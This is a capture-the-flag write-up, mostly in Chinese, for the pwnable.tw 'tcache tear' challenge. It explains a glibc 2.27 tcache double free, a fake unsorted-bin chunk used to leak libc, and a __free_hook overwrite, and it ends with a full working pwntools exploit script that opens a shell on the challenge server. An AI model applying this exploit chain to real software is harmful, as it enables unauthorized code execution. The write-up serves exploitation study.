pwnable.tw writeup - tcache tear

 

checksec

$ checksec tcache_tear
[*] '/home/z1933/workplace/vbshare/ctf/tcache_tear'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    FORTIFY:  Enabled

Full RELRO 表示 GOT 表会在程序加载时就填好库函数地址,然后把 GOT 表设置为只读,程序运行时就不能改 GOT 表了。

程序流程还是不难分析的。

double free

Glibc-2.7 ,tcache 没有 double free 检查: glibc-2.27-malloc

下面是 tcache double free 让 malloc 返回任意地址的概述。 关于堆上分配,释放的流程具体可以参考:Zhang1933/linux-heap-study

free一次(假设申请的chunk是32字节的大小):

tcache[0]-> chunk0
ptr -> chunk0

ptr 为程序中的全局分配释放指针。

free 第二次:

tcache[0]-> chunk0 ->chunk0
ptr -> chunk0

申请一次

tcache[0]-> chunk0
ptr -> chunk0

这个时候我们可以写chunk0的 fd 指针。

tcache[0]-> chunk0 -> TARGET_ADDR
ptr -> chunk0

然后申请一次,再申请一次 tcache 就会返回我们想要的地址 TARGET_ADDR 进行写操作了。

泄露libc

虽然可以任意地址写,但是可写地址并不多。

输入的 name 可写。我们可以在输入的 name 中构造一个 假的chunk。

unsorted bin 是双链循环链表。我们如果可以构造一个 假chunk(大于 tcache bin 的范围即可,这里选(0x500) 释放到unsorted bin ,然后打印 chunk 中的 fd 字段(用 Info 函数),就可以泄露unsorted bin 的地址了,减去偏移就得到了 libc 的基地址。

在释放进unsorted bin时,构造的假chunk要绕开这些合理性检查: glibc-2.27 malloc:4272

所以还需要在 name-8+0x500 的位置构造一个 size 为 0x20|1 的假chunk, name-8+0x500+0x20 的位置构造 size 为 0x20|1 的 假chunk。

name 就是程序一开始输入 name 时的固定地址。

控制程序流

得到libc的地址了我们可以得到 __free_hook 的地址,然后在指针中写入 system 的地址。下次释放 chunk 中只要数据部分为 \bin\sh 就OK了。

Script

#!/usr/bin/env python3

from pwn import *

HOST='chall.pwnable.tw'
PORT=10207
PROC="./tcache_tear"

context.log_level = 'DEBUG'
context.arch = 'amd64'

io=None
elf=ELF(PROC)
lib = ELF("./dynamic64/glibc-2-27/libc-64.so")

if len(sys.argv) == 1 : 
    io=process(PROC)
else:
    log.info("remote start")
    # 设置代理
    context.proxy=(socks.SOCKS5,'localhost',7890)
    io=remote(HOST,PORT)

def PauseLocalDebug():
    info("process pid: "+str(io.pid))
    pause()

def Info():
    io.sendafter(":","3")

def Malloc(size,data):
    io.sendafter(":","1")
    io.sendafter(":",str(size))
    io.sendafter(":",data)

def Free():
    io.sendafter(":","2")

io.sendafter(":","aaaa")

def writeaddr(addr,val,size):
    # 每调用一次,free两次。注释了毒化tcache[0]的情况
    # 先申请一块
    Malloc(size,"aaaa")
    Free()
    # tcahce[0] -> chunk0
    Free()
    # tcache[0] -> chunk0 -> chunk0
    
    # 再申请一次,此时可以写chunk0的fd
    Malloc(size,pack(addr))
    # tcache[0] -> chunk0 -> addr
    # ptr -> chunk0

    Malloc(size,"aaaa")
    # tcache[0] -> addr
    # ptr -> chunk0

    # 再申请一次,现在可写内容了,写假chunk
    Malloc(size,val)
    # ptr-> fake_chunk


NAME_ADDR=0x602060
PTR_ADDR=0x602088

#  fake chunk 的下一个 chunk 0x20 大小
#  fake chunk  的下下一个chunk 0x20 大小,一块写了,节省次数
fake_chunk=pack(0x20|1)+pack(0)*3+pack(0x20|1) # 全部 set iuse 位为1
writeaddr(NAME_ADDR-8+0x500,fake_chunk,0x50)

# 写 fake chunk ,顺便把全局分配指针改了,节省次数
fake_chunk0=pack(0x500|1)+b'\x00'*40+pack(NAME_ADDR)
writeaddr(NAME_ADDR-8,fake_chunk0,0x60)

# 释放到unsorted bin 中
Free()

# 泄露 unsorted bin 的 fd
Info()
io.recvuntil("Name :")
UNSORTADDR=unpack(io.recvn(6)+b'\x00'*2)
info("UNSORTADDR: "+hex(UNSORTADDR))

# 调试得到的偏移
OFFSET=0x3EBCA0
lib.address=UNSORTADDR-OFFSET
info("libc addr: "+hex(lib.address))
info("system addr: "+hex(lib.symbols['system']))
info("libc __free_hook addr:"+hex(lib.symbols['__free_hook']))

#PauseLocalDebug()

writeaddr(lib.symbols['__free_hook'],pack(lib.symbols['system']),0x70)
# 全局分配指针写入"sh"

Malloc(0x40,'/bin/sh')
Free()

io.interactive()